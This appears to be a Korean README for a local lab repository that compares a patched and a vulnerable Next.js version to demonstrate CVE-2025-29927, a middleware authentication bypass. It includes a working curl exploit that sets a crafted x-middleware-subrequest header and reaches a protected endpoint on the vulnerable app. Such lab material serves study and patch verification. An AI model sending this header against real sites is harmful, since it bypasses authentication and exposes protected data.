
Next.js CVE-2025-29927 미들웨어 취약점 이 레포지토리는 Next.js 15.2.3 버전과 Next.js 15.1.7 버전을 사용하여 CVE-2025-29927 미들웨어 취약점을 비교해볼 수 있는 모노레포 프로젝트입니다. 취약점 설명 CVE-2025-29927는 Next.js의 미들웨어에서 발견된 보안 취약점으로, x-middleware-subrequest 헤더를 사용하여 인증 미들웨어를 우회할 수 있는 문제입니다. 이 취약점은 다음 버전에서 영향을 받으며: Next.js 15.x < 15.2.3 Next.js 14.x < 14.2.25 Next.js 13.x < 13.5.9 위 버전들은 각각 해당 패치 버전으로 업데이트하여 해결되었습니다. 실행 방법 저장소를 클론합니다. 의존성을 설치합니다. : pnpm install 개발 서버를 실행합니다. : pnpm dev 각 앱에 접속 패치된 버전 (15.2.3): https://localhost:3000 취약한 버전 (15.1.7): https://localhost:3001 토큰 없이 /api/protected 엔드포인트에 접근하면 접근이 거부됩니다. “` $ curl https://localhost:3000/api/protected // {"error":"Unauthorized"} $ curl https://localhost:3001/api/protected // {"error":"Unauthorized"} “` 유효한 토큰을 제공하면 보호된 엔드포인트에 성공적으로 접근할 수 있습니다. “` $ curl -H "Authorization: my-jwt-token-here" https://localhost:3000/api/protected // {"message":"Hello World"} $ curl -H "Authorization: my-jwt-token-here" https://localhost:3001/api/protected // {"message":"Hello World"} “` 취약점을 이용해 미들웨어를 우회합니다. “` curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" https://localhost:3000/api/protected // {"error":"Unauthorized"} curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" https://localhost:3001/api/protected // {"message":"Hello World"} “` 프로젝트 구조 nextjs-cve-2025-29927/ ├── apps/ │ ├── next15_1_7/ # 취약한 버전 │ └── next15_2_3/ # 패치된 버전 ├── packages/ │ └── ui/ # 공유 UI 컴포넌트…Read More
Exploit for CVE-2025-29927

